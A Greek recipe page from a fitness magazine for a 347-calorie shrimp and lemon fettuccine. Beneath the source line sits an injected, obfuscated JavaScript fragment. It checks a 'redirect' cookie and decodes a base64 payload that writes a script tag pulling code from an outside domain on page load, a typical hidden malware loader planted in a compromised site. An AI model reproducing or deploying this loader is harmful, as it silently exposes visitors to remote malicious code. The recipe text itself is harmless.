Ζυμαρικά με γαρίδες & λεμόνι – μόνο 347 θερμίδες

Ένα τέτοιο πιάτο, όπως τα ζυμαρικά με λεμόνι και γαρίδες, έχει 800 θερμίδες. Εδώ θα το απολαύσεις μόνο με 347!



Ζυμαρικά με γαρίδες και λεμόνι

Μερίδες: 4

Χρόνος προετοιμασίας: 20 λεπτά (συν 12 ώρες ξεκούραση)

Χρόνος μαγειρέματος: 15 λεπτά

Υλικά

  • 220 γραμμ. καστανό φετουτσίνι από ρύζι
  • 4 λεμόνια
  • 1 κ.σ. εξαιρετικό παρθένο ελαιόλαδο
  • 8 σκελίδες σκόρδο, ψιλοκομμένο
  • 1/8 κ.γ. νιφάδες κόκκινης πιπεριάς
  • 1/4 φλιτζ. μαϊντανός ψιλοκομμένος
  • 400 γραμμ. μεγάλες γαρίδες (φρέσκες ή κατεψυγμένες) καθαρισμένες, χωρίς την ουρά και τη φλέβα της ράχης
  • αλάτι
  • μαύρο πιπέρι φρεσκοτριμμένο

Εκτέλεση

1. Βάλε το φετουτσίνι σε μεγάλο μπολ με κρύο νερό και σκέπασέ το με πλαστική μεμβράνη. Μούλιασέ το σε θερμοκρασία δωματίου.

2. Με αποφλοιωτή, αφαίρεσε τη φλούδα από τα λεμόνια, κόβοντας μακριές λωρίδες από τη μία άκρη ως την άλλη. Με κουτάλι, βγάλε την ψίχα από τις φλούδες. Βάλε το ξύσμα σε κατσαρολάκι και πρόσθεσε νερό μέχρι να τις καλύψει. Βάλ’ το να σιγοβράζει σε μέτρια φωτιά για 5 λεπτά, μέχρι να μαλακώσει το ξύσμα. Βγάλ’ το από τη φωτιά και κόψ’ το σε κομμάτια μήκους 1,5 εκ.

3. Πρόσθεσε 2 φλιτζάνια κρύο νερό στο σκεύος και στύψε μέσα το χυμό από τα λεμόνια. Πρόσθεσε το ξύσμα, άφησέ το να σιγοβράσει και βγάλ’ το από τη φωτιά. Βγάλε το ξύσμα και κράτησε το ζωμό.

4. Στράγγιξε το φετουτσίνι. Πρόσθεσε ελαιόλαδο σε μεγάλο αντικολλητικό τηγάνι και ζέστανέ το σε μέτρια προς υψηλή φωτιά. Πρόσθεσε σκόρδο και σοτάρισέ το, ανακατεύοντας κάθε τόσο, μέχρι να βγάλει άρωμα και να πάρει χρώμα. Πρόσθεσε τις νιφάδες πιπεριάς και το μαϊντανό και σοτάρισε για άλλα 3 λεπτά. Πρόσθεσε το ξύσμα λεμονιού, 1/2 φλιτζάνι από το ζωμό λεμονιού και τα ζυμαρικά και βράσε το μείγμα μέχρι να δέσει η σάλτσα και να κολλήσει στα ζυμαρικά, για 2 με 5 λεπτά περίπου. Πασπάλισε με αλατοπίπερο, μοίρασέ το σε 4 πιάτα και σερβίρισε αμέσως.

 

Πηγή: shape.gr
e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

You may also like...

Leave a Reply